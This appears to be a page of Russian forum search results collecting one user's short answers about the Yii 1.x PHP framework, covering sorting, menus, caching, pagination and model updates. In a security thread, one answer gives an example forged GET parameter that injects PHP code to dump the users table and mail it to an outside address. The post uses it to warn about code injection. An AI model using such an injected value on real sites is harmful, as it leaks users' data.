Найден 5791 результат

ElisDN
2013.07.12, 18:19
Форум: Общие вопросы (Yii 1.x)
Тема: Разделение логов по коду ошибки
Ответы: 2
Просмотры: 1183

Re: Разделение логов по коду ошибки

Переопределить CFileLogRoute::processLogs() и поставить там switch.
ElisDN
2013.07.11, 11:13
Форум: Общие вопросы (Yii 1.x)
Тема: CSort как применить для CActiveDataProvider
Ответы: 4
Просмотры: 1457

Re: CSort как применить для CActiveDataProvider

Ничего не надо создавать. Можно передать параметры прямо в провайдер: $dataProvider = new CActiveDataProvider('News', array(     'criteria'=>$criteria,     'sort'=>array(         'defaultOrder'=>'date DESC',         'attributes'=>array(             'date',             'title',             'category_...
ElisDN
2013.07.09, 18:21
Форум: Общие вопросы (Yii 1.x)
Тема: [РЕШЕНО] 404
Ответы: 30
Просмотры: 7554

Re: 404

А в экшене тоже u?

Код: Выделить всё

public function actionCreate($u) { 
ElisDN
2013.07.09, 11:18
Форум: Общие вопросы (Yii 1.x)
Тема: CMenu
Ответы: 5
Просмотры: 1530

Re: CMenu + CSS

Возможностями Yii построить дерево парой строк - никак. Либо как написано, либо чужими расширениями вроде этого . Но связь parent создать придётся: public function relations() {     return array(         'parent' => array(self::BELONGS_TO, 'Menu', 'pid'),     } } Для более серьёзных вещей можно пере...
ElisDN
2013.07.07, 18:04
Форум: Общие вопросы (Yii 1.x)
Тема: объединить неизвестное количество массивов
Ответы: 5
Просмотры: 930

Re: объединить неизвестное количество массивов

Код: Выделить всё

$tags = array();
foreach ($words as $word) {
    ...
    $tags = array_merge($tags, News::model()->findAll($criteria));
} 
ElisDN
2013.07.05, 21:04
Форум: Общие вопросы (Yii 1.x)
Тема: CHtml::image - не выводит картинку
Ответы: 10
Просмотры: 2822

Re: CHtml::image - не выводит картинку

Angus123 писал(а):Ошибка осталась та-же.
Штанга. Попробуй ещё.
ElisDN
2013.07.05, 16:04
Форум: Общие вопросы (Yii 1.x)
Тема: CActiveDataProvider экранирует все в кавычки
Ответы: 8
Просмотры: 2143

Re: CActiveDataProvider экранирует все в кавычки

Используйте type=>'raw' для ячейки CGridView.
ElisDN
2013.07.05, 15:01
Форум: Общие вопросы (Yii 1.x)
Тема: модуль видеохостинга
Ответы: 1
Просмотры: 750

Re: модуль видеохостинга

Здесь без разницы, на каком фреймворке. От обычного сайта проект будет отличаться только наличием ffmpeg на сервере и способностью его запускать командами exec(...) или system(...).
ElisDN
2013.07.03, 14:59
Форум: Общие вопросы (Yii 1.x)
Тема: Вызов метода контроллера из шаблона.
Ответы: 4
Просмотры: 1996

Re: Вызов метода контроллера из шаблона.

Перенести статически в модель:

Код: Выделить всё

<?php if ($this->beginCache('hotelView', array('duration'=>$cacheTime))) : ?>
<? echo Meal::getMeals(); ?>
<? $this->endCache(); endif; ?>
ElisDN
2013.07.03, 05:43
Форум: Общие вопросы (Yii 1.x)
Тема: Хитрый роут
Ответы: 1
Просмотры: 624

Re: Хитрый роут

Создайте свой класс-правило.
ElisDN
2013.07.02, 15:06
Форум: Общие вопросы (Yii 1.x)
Тема: Вопрос по безопасности
Ответы: 4
Просмотры: 1463

Re: Вопрос по безопасности

Он может подделать $_GET['nick_name']. Например, на:

Код: Выделить всё

'"admin" && mail("my@ya.ru", "users", print_r(Yii::app()->db->createCommand("SELECT * FROM {{users}}")->queryAll()), true))'; 
ElisDN
2013.07.02, 12:02
Форум: Общие вопросы (Yii 1.x)
Тема: update в aftersave
Ответы: 16
Просмотры: 3016

Re: update в aftersave

Всё-таки сделайте по аналогии с protected function refreshCategories() {     $categories = $this->categoriesArray;      PostCategory::model()->deleteAllByAttributes(array('post_id'=>$this->id));      if (is_array($categories)) {          foreach ($categories as $id) {              if (Category::mode...
ElisDN
2013.07.01, 20:59
Форум: Общие вопросы (Yii 1.x)
Тема: Обновление свойств модели после сохранения
Ответы: 9
Просмотры: 1841

Re: Обновление свойств модели после сохранения

Код: Выделить всё

if (!$this->image_id) {
   $this->updateByPk($this->primaryKey, array('image_id' => $image_id));
} 
ElisDN
2013.06.29, 11:07
Форум: Общие вопросы (Yii 1.x)
Тема: Не работает CHtmlPurifier
Ответы: 7
Просмотры: 1436

Re: Не работает CHtmlPurifier

А чем strip_tags() не угодил?

Код: Выделить всё

array('author, text', 'filter', 'filter'=>'strip_tags'),  
ElisDN
2013.06.27, 22:37
Форум: Общие вопросы (Yii 1.x)
Тема: Навигация по материалам вперед назад
Ответы: 5
Просмотры: 1763

Re: Навигация по материалам вперед назад

В actionCatalog перед render записываем в сессию все параметры каталога: $history = Yii::app()->session['history']; $history = array(     'category' => Yii::app()->request->getQuery('category'),     'brand' => Yii::app()->request->getQuery('brand'),     'sort' => Yii::app()->request->getQuery('sort'...
ElisDN
2013.06.27, 15:17
Форум: Общие вопросы (Yii 1.x)
Тема: CLinkPager и URL
Ответы: 15
Просмотры: 3011

Re: CLinkPager и URL

Ну и в чём проблема дописать?

Код: Выделить всё

$pages->pageSize = 10;
$pages->pageVar = 'p', 
ElisDN
2013.06.27, 14:40
Форум: Общие вопросы (Yii 1.x)
Тема: CLinkPager и URL
Ответы: 15
Просмотры: 3011

Re: CLinkPager и URL

crows писал(а):Не определено свойство "CLinkPager.pageVar".
Это dataProvider, а не представление.